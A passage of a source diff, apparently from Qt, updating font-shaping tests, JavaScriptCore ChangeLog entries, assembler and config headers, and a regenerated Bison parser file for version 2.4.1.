+        QSKIP("couln't find DejaVu Sans", SkipAll);
+    }
+
+
+    face = loadFace("SBL_grk.ttf");
+    if (face) {
+        for (int uc = 0x1f00; uc <= 0x1fff; ++uc) {
+            QString str;
+            str.append(uc);
+            if (str.normalized(QString::NormalizationForm_D).normalized(QString::NormalizationForm_C) != str) {
+                //qDebug() << "skipping" << hex << uc;
+                continue;
+            }
+            if (uc == 0x1fc1 || uc == 0x1fed)
+                continue;
+            QVERIFY( decomposedShaping(face, HB_Script_Greek, QChar(uc)) );
+
+        }
+
+        const ShapeTable shape_table [] = {
+            { { 0x3b1, 0x300, 0x313, 0x0 },
+              { 0xb8, 0x3d3, 0x3c7, 0x0 } },
+            { { 0x3b1, 0x313, 0x300, 0x0 },
+              { 0xd4, 0x0 } },
+
+            { {0}, {0} }
+        };
+
+
+        const ShapeTable *s = shape_table;
+        while (s->unicode[0]) {
+            QVERIFY( shaping(face, s, HB_Script_Greek) );
+            ++s;
+        }
+
+        FT_Done_Face(face);
+    } else {
+        QSKIP("couln't find DejaVu Sans", SkipAll);
+    }
+}
+
+
 void tst_QScriptEngine::devanagari()
 {
     {
@@ -1011,6 +1130,8 @@ void tst_QScriptEngine::malayalam()
                   { 0x3f8, 0x0 } },
                 { { 0xd2f, 0xd4d, 0xd15, 0xd4d, 0xd15, 0xd41, 0x0 },
                   { 0x2ff, 0x0 } },
+                { { 0xd30, 0xd4d, 0x200d, 0xd35, 0xd4d, 0xd35, 0x0 },
+                  { 0xf3, 0x350, 0x0 } },
 
                 { {0}, {0} }
             };
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/API/JSStringRef.h b/src/3rdparty/javascriptcore/JavaScriptCore/API/JSStringRef.h
index c58b958..92135b1 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/API/JSStringRef.h
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/API/JSStringRef.h
@@ -37,7 +37,8 @@
 extern "C" {
 #endif
 
-#if !defined(WIN32) && !defined(_WIN32) && !defined(__WINSCW__)
+#if !defined(WIN32) && !defined(_WIN32) && !defined(__WINSCW__) \
+    && !(defined(__CC_ARM) || defined(__ARMCC__)) /* RVCT */
 /*!
 @typedef JSChar
 @abstract A Unicode character.
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/ChangeLog b/src/3rdparty/javascriptcore/JavaScriptCore/ChangeLog
index 35aabc9..4f6e565 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/ChangeLog
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/ChangeLog
@@ -1,3 +1,265 @@
+2010-03-29  Patrick Gansterer  <paroga@paroga.com>
+
+        Reviewed by Darin Adler.
+
+        Corrected name of (u)int64_t compile time assert.
+        https://bugs.webkit.org/show_bug.cgi?id=36739
+
+        int64_t_is_four_bytes -> int64_t_is_eight_bytes
+
+        * os-win32/stdint.h:
+
+2010-03-29  Thomas Zander  <t.zander@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        https://bugs.webkit.org/show_bug.cgi?id=36742
+
+        gcc for Symbian doesn't support gcc extensions like atomicity.h - disable
+
+        * wtf/Threading.h: also detect os symbian
+
+2010-03-23  Mark Rowe  <mrowe@apple.com>
+
+        Build fix.
+
+        * runtime/ArrayPrototype.cpp:
+        (JSC::arrayProtoFuncSplice): Some versions of GCC emit a warning about the implicit 64- to 32-bit truncation
+        that takes place here. An explicit cast is sufficient to silence it.
+
+2010-03-23  Alexey Proskuryakov  <ap@apple.com>
+
+        Build fix.
+
+        * runtime/ArrayPrototype.cpp: (JSC::arrayProtoFuncSplice): Fixed a typo - length doesn't
+        need to be converted with toInteger().
+
+2010-03-23  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Geoff Garen.
+
+        https://bugs.webkit.org/show_bug.cgi?id=36511
+        <rdar://problem/7753498> Safari freezes when using SPUTNIK JavaScript conformance check
+
+        Test: fast/js/sputnik-S15.4.4.12_A3_T3.html
+
+        * runtime/ArrayPrototype.cpp: (JSC::arrayProtoFuncSplice): We were incorrectly computing
+        the start offset, and iterated over (almost) all integers. Note that this can be fixed
+        without using doubles, but the code would be much more complicated, and there is no important
+        reason to stick to integers here.
+
+2010-03-22  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Fixed <rdar://problem/7728196> REGRESSION (r46701): -(-2147483648)
+        evaluates to -2147483648 on 32 bit (35842)
+        
+        Two ways to fix the same bug:
+        
+        1. Check for overflow when negating, since negating the largest negative
+        int causes overflow.
+        
+        2. Constant-fold even when negating a negative, since, like they say in
+        high school, "math works."
+
+        * assembler/MacroAssemblerARM.h:
+        (JSC::MacroAssemblerARM::branchNeg32):
+        * assembler/MacroAssemblerX86Common.h:
+        (JSC::MacroAssemblerX86Common::branchNeg32): Added a branching version
+        of the negate operator.
+
+        * jit/JITArithmetic.cpp:
+        (JSC::JIT::emit_op_negate): Use the branching version of the negate 
+        operator to check for overflow.
+
+        (JSC::JIT::emitSlow_op_negate): Link the check for overflow to a slow case.
+        (We could emit inline code for this, since we know what the result would
+        be, but that's probably just a waste of generated code.)
+
+        * parser/Grammar.y: Constant fold even when negating a negative.
+
+2010-03-17  Mike Homey  <glandium@debian.org>
+
+        Reviewed by Gustavo Noronha.
+
+        Build fix for SPARC. Fix missing macro value.
+
+        * wtf/Platform.h:
+
+2010-03-03  Mark Rowe  <mrowe@apple.com>
+
+        Reviewed by Geoff Garen.
+
+        Add virtual memory tags for TCMalloc and WebCore's purgeable buffers.
+
+        * wtf/TCSystemAlloc.cpp:
+        (TryMmap): Use the VM tag.
+        * wtf/VMTags.h: Make use of VM_MEMORY_TCMALLOC and VM_MEMORY_WEBCORE_PURGEABLE_BUFFERS.
+
+2010-03-01  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        Fix the Qt build on Mac OS X/Cocoa 64-bit
+
+        * JavaScriptCore.pri: Add missing implementation file to resolve JSC symbols
+
+2010-02-26  Janne Koskinen  <janne.p.koskinen@digia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Symbian specific getCPUTime implemetation
+        https://bugs.webkit.org/show_bug.cgi?id=34742
+
+        Default implementation doesn't work on Symbian devices.
+        This change adds a proper implementation by
+        asking thread execution time from the current thread.
+
+        * runtime/TimeoutChecker.cpp:
+        (JSC::getCPUTime):
+
+2010-02-15  Gabor Loki  <loki@webkit.org>
+
+        Reviewed by Gavin Barraclough.
+
+        Fix the SP at ctiOpThrowNotCaught on Thumb2 (JSVALUE32)
+        https://bugs.webkit.org/show_bug.cgi?id=34939
+
+        * jit/JITStubs.cpp:
+
+2010-02-15  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by NOBODY (Build fix).
+
+        Add missing cast for !YARR (PPC) builds.
+
+        * runtime/RegExp.cpp:
+        (JSC::RegExp::match):
+
+2010-02-14  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Adam Barth.
+
+        Implement NEVER_INLINE and NO_RETURN for RVCT
+        https://bugs.webkit.org/show_bug.cgi?id=34740
+
+        * wtf/AlwaysInline.h:
+
+2010-02-12  Kwang Yul Seo  <skyul@company100.net>
+
+        Reviewed by Adam Barth.
+
+        Typedef both JSChar and UChar to wchar_t in RVCT.
+        https://bugs.webkit.org/show_bug.cgi?id=34560
+
+        Define both JSChar and UChar to wchar_t as the size
+        of wchar_t is 2 bytes in RVCT.
+
+        * API/JSStringRef.h:
+        * wtf/unicode/qt4/UnicodeQt4.h:
+
+2009-10-06  Yongjun Zhang  <yongjun.zhang@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        Get rid of WINSCW hack for UnSpecifiedBoolType
+
+        Add parenthesis around (RefPtr::*UnspecifiedBoolType) to make the WINSCW
+        compiler work with the default UnSpecifiedBoolType() operator.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28054
+
+        * wtf/RefPtr.h:
+
+2010-02-09  Janne Koskinen  <janne.p.koskinen@digia.com>
+
+        Reviewed by Laszlo Gombos.
+
+        [Qt] use nanval() for Symbian as nonInlineNaN
+        https://bugs.webkit.org/show_bug.cgi?id=34170
+
+        numeric_limits<double>::quiet_NaN is broken in Symbian
+        causing NaN to be evaluated as a number.
+
+        * runtime/JSValue.cpp:
+        (JSC::nonInlineNaN):
+
+2010-02-01  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Date.UTC() should apply TimeClip operation.
+        https://bugs.webkit.org/show_bug.cgi?id=34461
+
+        ECMAScript 5 15.9.4.3:
+        > 9 Return TimeClip(MakeDate(MakeDay(yr, m, dt), MakeTime(h, min, s, milli))).
+
+        * runtime/DateConstructor.cpp:
+        (JSC::dateUTC): Calls WTF::timeClip().
+
+2010-02-01  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Fix a bug that Math.round() retunrs incorrect results for huge integers
+        https://bugs.webkit.org/show_bug.cgi?id=34462
+
+        * runtime/MathObject.cpp:
+        (JSC::mathProtoFuncRound): Avoid "arg + 0.5".
+
+2010-02-01  Patrick Gansterer  <paroga@paroga.com>
+
+        Reviewed by Darin Adler.
+
+        [Qt] WinCE buildfix after r52729 and fix for Q_BIG_ENDIAN typo.
+        https://bugs.webkit.org/show_bug.cgi?id=34378
+
+        * wtf/Platform.h:
+
+2010-01-31  Patrick Gansterer  <paroga@paroga.com>
+
+        Reviewed by Darin Adler.
+
+        Buildfix for WinCE + style fixes (TLS_OUT_OF_INDEXES is not defined).
+        https://bugs.webkit.org/show_bug.cgi?id=34380
+
+        * wtf/ThreadSpecific.h:
+
+2010-01-31  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        [Windows] Fix a bug of round() with huge integral numbers
+        https://bugs.webkit.org/show_bug.cgi?id=34297
+
+        Fix a bug that round() for huge integral numbers returns incorrect
+        results. For example, round(8639999913600001) returns
+        8639999913600002 without this change though the double type can
+        represent 8639999913600001 precisely.
+
+        Math.round() of JavaScript has a similar problem. But this change
+        doesn't fix it because Math.round() doesn't use round() of
+        MathExtra.h.
+
+        * wtf/MathExtras.h:
+        (round): Avoid to do "num + 0.5" or "num - 0.5".
+        (roundf): Fixed similarly.
+        (llround): Calls round().
+        (llroundf): Calls roundf().
+        (lround): Calls round().
+        (lroundf): Calls roundf().
+
+2010-01-27  Anton Muhin  <antonm@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Remove trailing \ from inline function code
+        https://bugs.webkit.org/show_bug.cgi?id=34223
+
+        * assembler/ARMv7Assembler.h:
+        (JSC::ARMThumbImmediate::countLeadingZerosPartial):
+
 2010-01-27  Kwang Yul Seo  <skyul@company100.net>
 
         Reviewed by Oliver Hunt.
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/assembler/ARMv7Assembler.h b/src/3rdparty/javascriptcore/JavaScriptCore/assembler/ARMv7Assembler.h
index 6cde63b..4e394b2 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/assembler/ARMv7Assembler.h
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/assembler/ARMv7Assembler.h
@@ -201,10 +201,10 @@ class ARMThumbImmediate {
 
     ALWAYS_INLINE static void countLeadingZerosPartial(uint32_t& value, int32_t& zeros, const int N)
     {
-        if (value & ~((1<<N)-1)) /* check for any of the top N bits (of 2N bits) are set */ \
-            value >>= N;         /* if any were set, lose the bottom N */ \
-        else                     /* if none of the top N bits are set, */ \
-            zeros += N;          /* then we have identified N leading zeros */
+        if (value & ~((1 << N) - 1)) /* check for any of the top N bits (of 2N bits) are set */
+            value >>= N;             /* if any were set, lose the bottom N */
+        else                         /* if none of the top N bits are set, */
+            zeros += N;              /* then we have identified N leading zeros */
     }
 
     static int32_t countLeadingZeros(uint32_t value)
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/assembler/MacroAssemblerARM.h b/src/3rdparty/javascriptcore/JavaScriptCore/assembler/MacroAssemblerARM.h
index 21b8de8..e5ba261 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/assembler/MacroAssemblerARM.h
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/assembler/MacroAssemblerARM.h
@@ -530,6 +530,13 @@ public:
         return Jump(m_assembler.jmp(ARMCondition(cond)));
     }
 
+    Jump branchNeg32(Condition cond, RegisterID srcDest)
+    {
+        ASSERT((cond == Overflow) || (cond == Signed) || (cond == Zero) || (cond == NonZero));
+        neg32(srcDest);
+        return Jump(m_assembler.jmp(ARMCondition(cond)));
+    }
+
     Jump branchOr32(Condition cond, RegisterID src, RegisterID dest)
     {
         ASSERT((cond == Signed) || (cond == Zero) || (cond == NonZero));
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/assembler/MacroAssemblerX86Common.h b/src/3rdparty/javascriptcore/JavaScriptCore/assembler/MacroAssemblerX86Common.h
index 449df86..ab29cb0 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/assembler/MacroAssemblerX86Common.h
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/assembler/MacroAssemblerX86Common.h
@@ -836,6 +836,13 @@ public:
         return Jump(m_assembler.jCC(x86Condition(cond)));
     }
 
+    Jump branchNeg32(Condition cond, RegisterID srcDest)
+    {
+        ASSERT((cond == Overflow) || (cond == Zero) || (cond == NonZero));
+        neg32(srcDest);
+        return Jump(m_assembler.jCC(x86Condition(cond)));
+    }
+
     Jump branchOr32(Condition cond, RegisterID src, RegisterID dest)
     {
         ASSERT((cond == Signed) || (cond == Zero) || (cond == NonZero));
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/config.h b/src/3rdparty/javascriptcore/JavaScriptCore/config.h
index d5fdfe9..2af2e71 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/config.h
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/config.h
@@ -25,7 +25,7 @@
 
 #include <wtf/Platform.h>
 
-#if OS(WINDOWS) && !defined(BUILDING_WX__) && !COMPILER(GCC)
+#if !defined(QT_BUILD_SCRIPT_LIB) && OS(WINDOWS) && !defined(BUILDING_WX__) && !COMPILER(GCC)
 #if defined(BUILDING_JavaScriptCore) || defined(BUILDING_WTF)
 #define JS_EXPORTDATA __declspec(dllexport)
 #else
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/generated/Grammar.cpp b/src/3rdparty/javascriptcore/JavaScriptCore/generated/Grammar.cpp
index 6ac1b9b..31c2068 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/generated/Grammar.cpp
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/generated/Grammar.cpp
@@ -1,24 +1,23 @@
-/* A Bison parser, made by GNU Bison 2.3.  */
 
-/* Skeleton implementation for Bison's Yacc-like parsers in C
+/* A Bison parser, made by GNU Bison 2.4.1.  */
 
-   Copyright (C) 1984, 1989, 1990, 2000, 2001, 2002, 2003, 2004, 2005, 2006
+/* Skeleton implementation for Bison's Yacc-like parsers in C
+   
+      Copyright (C) 1984, 1989, 1990, 2000, 2001, 2002, 2003, 2004, 2005, 2006
    Free Software Foundation, Inc.
-
-   This program is free software; you can redistribute it and/or modify
+   
+   This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
-   the Free Software Foundation; either version 2, or (at your option)
-   any later version.
-
+   the Free Software Foundation, either version 3 of the License, or
+   (at your option) any later version.
+   
    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.
-
+   
    You should have received a copy of the GNU General Public License
-   along with this program; if not, write to the Free Software
-   Foundation, Inc., 51 Franklin Street, Fifth Floor,
-   Boston, MA 02110-1301, USA.  */
+   along with this program.  If not, see <http://www.gnu.org/licenses/>.  */
 
 /* As a special exception, you may create a larger work that contains
    part or all of the Bison parser skeleton and distribute that work
@@ -29,7 +28,7 @@
    special exception, which will cause the skeleton and the resulting
    Bison output files to be licensed under the GNU General Public
    License without this special exception.
-
+   
    This special exception was added by the Free Software Foundation in
    version 2.2 of Bison.  */
 
@@ -47,7 +46,7 @@
 #define YYBISON 1
 
 /* Bison version.  */
-#define YYBISON_VERSION "2.3"
+#define YYBISON_VERSION "2.4.1"
 
 /* Skeleton name.  */
 #define YYSKELETON_NAME "yacc.c"
@@ -55,159 +54,28 @@
 /* Pure parsers.  */
 #define YYPURE 1
 
+/* Push parsers.  */
+#define YYPUSH 0
+
+/* Pull parsers.  */
+#define YYPULL 1
+
 /* Using locations.  */
 #define YYLSP_NEEDED 1
 
 /* Substitute the variable and function names.  */
-#define yyparse jscyyparse
-#define yylex   jscyylex
-#define yyerror jscyyerror
-#define yylval  jscyylval
-#define yychar  jscyychar
-#define yydebug jscyydebug
-#define yynerrs jscyynerrs
-#define yylloc jscyylloc
-
-/* Tokens.  */
-#ifndef YYTOKENTYPE
-# define YYTOKENTYPE
-   /* Put the tokens into the symbol table, so that GDB and other debuggers
-      know about them.  */
-   enum yytokentype {
-     NULLTOKEN = 258,
-     TRUETOKEN = 259,
-     FALSETOKEN = 260,
-     BREAK = 261,
-     CASE = 262,
-     DEFAULT = 263,
-     FOR = 264,
-     NEW = 265,
-     VAR = 266,
-     CONSTTOKEN = 267,
-     CONTINUE = 268,
-     FUNCTION = 269,
-     RETURN = 270,
-     VOIDTOKEN = 271,
-     DELETETOKEN = 272,
-     IF = 273,
-     THISTOKEN = 274,
-     DO = 275,
-     WHILE = 276,
-     INTOKEN = 277,
-     INSTANCEOF = 278,
-     TYPEOF = 279,
-     SWITCH = 280,
-     WITH = 281,
-     RESERVED = 282,
-     THROW = 283,
-     TRY = 284,
-     CATCH = 285,
-     FINALLY = 286,
-     DEBUGGER = 287,
-     IF_WITHOUT_ELSE = 288,
-     ELSE = 289,
-     EQEQ = 290,
-     NE = 291,
-     STREQ = 292,
-     STRNEQ = 293,
-     LE = 294,
-     GE = 295,
-     OR = 296,
-     AND = 297,
-     PLUSPLUS = 298,
-     MINUSMINUS = 299,
-     LSHIFT = 300,
-     RSHIFT = 301,
-     URSHIFT = 302,
-     PLUSEQUAL = 303,
-     MINUSEQUAL = 304,
-     MULTEQUAL = 305,
-     DIVEQUAL = 306,
-     LSHIFTEQUAL = 307,
-     RSHIFTEQUAL = 308,
-     URSHIFTEQUAL = 309,
-     ANDEQUAL = 310,
-     MODEQUAL = 311,
-     XOREQUAL = 312,
-     OREQUAL = 313,
-     OPENBRACE = 314,
-     CLOSEBRACE = 315,
-     NUMBER = 316,
-     IDENT = 317,
-     STRING = 318,
-     AUTOPLUSPLUS = 319,
-     AUTOMINUSMINUS = 320
-   };
-#endif
-/* Tokens.  */
-#define NULLTOKEN 258
-#define TRUETOKEN 259
-#define FALSETOKEN 260
-#define BREAK 261
-#define CASE 262
-#define DEFAULT 263
-#define FOR 264
-#define NEW 265
-#define VAR 266
-#define CONSTTOKEN 267
-#define CONTINUE 268
-#define FUNCTION 269
-#define RETURN 270
-#define VOIDTOKEN 271
-#define DELETETOKEN 272
-#define IF 273
-#define THISTOKEN 274
-#define DO 275
-#define WHILE 276
-#define INTOKEN 277
-#define INSTANCEOF 278
-#define TYPEOF 279
-#define SWITCH 280
-#define WITH 281
-#define RESERVED 282
-#define THROW 283
-#define TRY 284
-#define CATCH 285
-#define FINALLY 286
-#define DEBUGGER 287
-#define IF_WITHOUT_ELSE 288
-#define ELSE 289
-#define EQEQ 290
-#define NE 291
-#define STREQ 292
-#define STRNEQ 293
-#define LE 294
-#define GE 295
-#define OR 296
-#define AND 297
-#define PLUSPLUS 298
-#define MINUSMINUS 299
-#define LSHIFT 300
-#define RSHIFT 301
-#define URSHIFT 302
-#define PLUSEQUAL 303
-#define MINUSEQUAL 304
-#define MULTEQUAL 305
-#define DIVEQUAL 306
-#define LSHIFTEQUAL 307
-#define RSHIFTEQUAL 308
-#define URSHIFTEQUAL 309
-#define ANDEQUAL 310
-#define MODEQUAL 311
-#define XOREQUAL 312
-#define OREQUAL 313
-#define OPENBRACE 314
-#define CLOSEBRACE 315
-#define NUMBER 316
-#define IDENT 317
-#define STRING 318
-#define AUTOPLUSPLUS 319
-#define AUTOMINUSMINUS 320
-
-
-
+#define yyparse         jscyyparse
+#define yylex           jscyylex
+#define yyerror         jscyyerror
+#define yylval          jscyylval
+#define yychar          jscyychar
+#define yydebug         jscyydebug
+#define yynerrs         jscyynerrs
+#define yylloc          jscyylloc
 
 /* Copy the first part of user declarations.  */
+
+/* Line 189 of yacc.c  */
 #line 3 "parser/Grammar.y"
 
 
@@ -352,6 +220,9 @@ static inline void appendToVarDeclarationList(JSGlobalData* globalData, ParserAr
 
 
 
+/* Line 189 of yacc.c  */
+#line 225 "generated/Grammar.tab.c"
+
 /* Enabling traces.  */
 #ifndef YYDEBUG
 # define YYDEBUG 0
@@ -370,10 +241,88 @@ static inline void appendToVarDeclarationList(JSGlobalData* globalData, ParserAr
 # define YYTOKEN_TABLE 0
 #endif
 
+
+/* Tokens.  */
+#ifndef YYTOKENTYPE
+# define YYTOKENTYPE
+   /* Put the tokens into the symbol table, so that GDB and other debuggers
+      know about them.  */
+   enum yytokentype {
+     NULLTOKEN = 258,
+     TRUETOKEN = 259,
+     FALSETOKEN = 260,
+     BREAK = 261,
+     CASE = 262,
+     DEFAULT = 263,
+     FOR = 264,
+     NEW = 265,
+     VAR = 266,
+     CONSTTOKEN = 267,
+     CONTINUE = 268,
+     FUNCTION = 269,
+     RETURN = 270,
+     VOIDTOKEN = 271,
+     DELETETOKEN = 272,
+     IF = 273,
+     THISTOKEN = 274,
+     DO = 275,
+     WHILE = 276,
+     INTOKEN = 277,
+     INSTANCEOF = 278,
+     TYPEOF = 279,
+     SWITCH = 280,
+     WITH = 281,
+     RESERVED = 282,
+     THROW = 283,
+     TRY = 284,
+     CATCH = 285,
+     FINALLY = 286,
+     DEBUGGER = 287,
+     IF_WITHOUT_ELSE = 288,
+     ELSE = 289,
+     EQEQ = 290,
+     NE = 291,
+     STREQ = 292,
+     STRNEQ = 293,
+     LE = 294,
+     GE = 295,
+     OR = 296,
+     AND = 297,
+     PLUSPLUS = 298,
+     MINUSMINUS = 299,
+     LSHIFT = 300,
+     RSHIFT = 301,
+     URSHIFT = 302,
+     PLUSEQUAL = 303,
+     MINUSEQUAL = 304,
+     MULTEQUAL = 305,
+     DIVEQUAL = 306,
+     LSHIFTEQUAL = 307,
+     RSHIFTEQUAL = 308,
+     URSHIFTEQUAL = 309,
+     ANDEQUAL = 310,
+     MODEQUAL = 311,
+     XOREQUAL = 312,
+     OREQUAL = 313,
+     OPENBRACE = 314,
+     CLOSEBRACE = 315,
+     NUMBER = 316,
+     IDENT = 317,
+     STRING = 318,
+     AUTOPLUSPLUS = 319,
+     AUTOMINUSMINUS = 320
+   };
+#endif
+
+
+
 #if ! defined YYSTYPE && ! defined YYSTYPE_IS_DECLARED
 typedef union YYSTYPE
-#line 146 "parser/Grammar.y"
 {
+
+/* Line 214 of yacc.c  */
+#line 146 "parser/Grammar.y"
+
     int                 intValue;
     double              doubleValue;
     const Identifier*   ident;
@@ -403,13 +352,15 @@ typedef union YYSTYPE
     ParameterListInfo   parameterList;
 
     Operator            op;
-}
-/* Line 187 of yacc.c.  */
-#line 409 "generated/Grammar.tab.c"
-	YYSTYPE;
+
+
+
+/* Line 214 of yacc.c  */
+#line 360 "generated/Grammar.tab.c"
+} YYSTYPE;
+# define YYSTYPE_IS_TRIVIAL 1
 # define yystype YYSTYPE /* obsolescent; will be withdrawn */
 # define YYSTYPE_IS_DECLARED 1
-# define YYSTYPE_IS_TRIVIAL 1
 #endif
 
 #if ! defined YYLTYPE && ! defined YYLTYPE_IS_DECLARED
@@ -427,6 +378,8 @@ typedef struct YYLTYPE
 
 
 /* Copy the second part of user declarations.  */
+
+/* Line 264 of yacc.c  */
 #line 178 "parser/Grammar.y"
 
 
@@ -442,8 +395,8 @@ static inline void setExceptionLocation(ThrowableExpressionData* node, unsigned
 
 
 
-/* Line 216 of yacc.c.  */
-#line 447 "generated/Grammar.tab.c"
+/* Line 264 of yacc.c  */
+#line 400 "generated/Grammar.tab.c"
 
 #ifdef short
 # undef short
@@ -518,14 +471,14 @@ typedef short int yytype_int16;
 #if (defined __STDC__ || defined __C99__FUNC__ \
      || defined __cplusplus || defined _MSC_VER)
 static int
-YYID (int i)
+YYID (int yyi)
 #else
 static int
-YYID (i)
-    int i;
+YYID (yyi)
+    int yyi;
 #endif
 {
-  return i;
+  return yyi;
 }
 #endif
 
@@ -607,9 +560,9 @@ void free (void *); /* INFRINGES ON USER NAME SPACE */
 /* A type that is properly aligned for any stack member.  */
 union yyalloc
 {
-  yytype_int16 yyss;
-  YYSTYPE yyvs;
-    YYLTYPE yyls;
+  yytype_int16 yyss_alloc;
+  YYSTYPE yyvs_alloc;
+  YYLTYPE yyls_alloc;
 };
 
 /* The size of the maximum gap between one aligned stack and the next.  */
@@ -644,12 +597,12 @@ union yyalloc
    elements in the stack, and YYPTR gives the new location of the
    stack.  Advance YYPTR to a properly aligned location for the next
    stack.  */
-# define YYSTACK_RELOCATE(Stack)					\
+# define YYSTACK_RELOCATE(Stack_alloc, Stack)				\
     do									\
       {									\
 	YYSIZE_T yynewbytes;						\
-	YYCOPY (&yyptr->Stack, Stack, yysize);				\
-	Stack = &yyptr->Stack;						\
+	YYCOPY (&yyptr->Stack_alloc, Stack, yysize);			\
+	Stack = &yyptr->Stack_alloc;					\
 	yynewbytes = yystacksize * sizeof (*Stack) + YYSTACK_GAP_MAXIMUM; \
 	yyptr += yynewbytes / sizeof (*yyptr);				\
       }									\
@@ -2363,17 +2316,20 @@ yy_symbol_print (yyoutput, yytype, yyvaluep, yylocationp)
 #if (defined __STDC__ || defined __C99__FUNC__ \
      || defined __cplusplus || defined _MSC_VER)
 static void
-yy_stack_print (yytype_int16 *bottom, yytype_int16 *top)
+yy_stack_print (yytype_int16 *yybottom, yytype_int16 *yytop)
 #else
 static void
-yy_stack_print (bottom, top)
-    yytype_int16 *bottom;
-    yytype_int16 *top;
+yy_stack_print (yybottom, yytop)
+    yytype_int16 *yybottom;
+    yytype_int16 *yytop;
 #endif
 {
   YYFPRINTF (stderr, "Stack now");
-  for (; bottom <= top; ++bottom)
-    YYFPRINTF (stderr, " %d", *bottom);
+  for (; yybottom <= yytop; yybottom++)
+    {
+      int yybot = *yybottom;
+      YYFPRINTF (stderr, " %d", yybot);
+    }
   YYFPRINTF (stderr, "\n");
 }
 
@@ -2408,11 +2364,11 @@ yy_reduce_print (yyvsp, yylsp, yyrule)
   /* The symbols being reduced.  */
   for (yyi = 0; yyi < yynrhs; yyi++)
     {
-      fprintf (stderr, "   $%d = ", yyi + 1);
+      YYFPRINTF (stderr, "   $%d = ", yyi + 1);
       yy_symbol_print (stderr, yyrhs[yyprhs[yyrule] + yyi],
 		       &(yyvsp[(yyi + 1) - (yynrhs)])
 		       , &(yylsp[(yyi + 1) - (yynrhs)])		       );
-      fprintf (stderr, "\n");
+      YYFPRINTF (stderr, "\n");
     }
 }
 
@@ -2694,10 +2650,8 @@ yydestruct (yymsg, yytype, yyvaluep, yylocationp)
 	break;
     }
 }
-
 
 /* Prevent warnings from -Wmissing-prototypes.  */
-
 #ifdef YYPARSE_PARAM
 #if defined __STDC__ || defined __cplusplus
 int yyparse (void *YYPARSE_PARAM);
@@ -2716,10 +2670,9 @@ int yyparse ();
 
 
 
-
-/*----------.
-| yyparse.  |
-`----------*/
+/*-------------------------.
+| yyparse or yypush_parse.  |
+`-------------------------*/
 
 #ifdef YYPARSE_PARAM
 #if (defined __STDC__ || defined __C99__FUNC__ \
@@ -2743,88 +2696,97 @@ yyparse ()
 #endif
 #endif
 {
-  /* The look-ahead symbol.  */
+/* The lookahead symbol.  */
 int yychar;
 
-/* The semantic value of the look-ahead symbol.  */
+/* The semantic value of the lookahead symbol.  */
 YYSTYPE yylval;
 
-/* Number of syntax errors so far.  */
-int yynerrs;
-/* Location data for the look-ahead symbol.  */
+/* Location data for the lookahead symbol.  */
 YYLTYPE yylloc;
 
-  int yystate;
-  int yyn;
-  int yyresult;
-  /* Number of tokens to shift before error messages enabled.  */
-  int yyerrstatus;
-  /* Look-ahead token as an internal (translated) token number.  */
-  int yytoken = 0;
-#if YYERROR_VERBOSE
-  /* Buffer for error messages, and its allocated size.  */
-  char yymsgbuf[128];
-  char *yymsg = yymsgbuf;
-  YYSIZE_T yymsg_alloc = sizeof yymsgbuf;
-#endif
+    /* Number of syntax errors so far.  */
+    int yynerrs;
 
-  /* Three stacks and their tools:
-     `yyss': related to states,
-     `yyvs': related to semantic values,
-     `yyls': related to locations.
+    int yystate;
+    /* Number of tokens to shift before error messages enabled.  */
+    int yyerrstatus;
 
-     Refer to the stacks thru separate pointers, to allow yyoverflow
-     to reallocate them elsewhere.  */
+    /* The stacks and their tools:
+       `yyss': related to states.
+       `yyvs': related to semantic values.
+       `yyls': related to locations.
 
-  /* The state stack.  */
-  yytype_int16 yyssa[YYINITDEPTH];
-  yytype_int16 *yyss = yyssa;
-  yytype_int16 *yyssp;
+       Refer to the stacks thru separate pointers, to allow yyoverflow
+       to reallocate them elsewhere.  */
 
-  /* The semantic value stack.  */
-  YYSTYPE yyvsa[YYINITDEPTH];
-  YYSTYPE *yyvs = yyvsa;
-  YYSTYPE *yyvsp;
+    /* The state stack.  */
+    yytype_int16 yyssa[YYINITDEPTH];
+    yytype_int16 *yyss;
+    yytype_int16 *yyssp;
 
-  /* The location stack.  */
-  YYLTYPE yylsa[YYINITDEPTH];
-  YYLTYPE *yyls = yylsa;
-  YYLTYPE *yylsp;
-  /* The locations where the error started and ended.  */
-  YYLTYPE yyerror_range[2];
+    /* The semantic value stack.  */
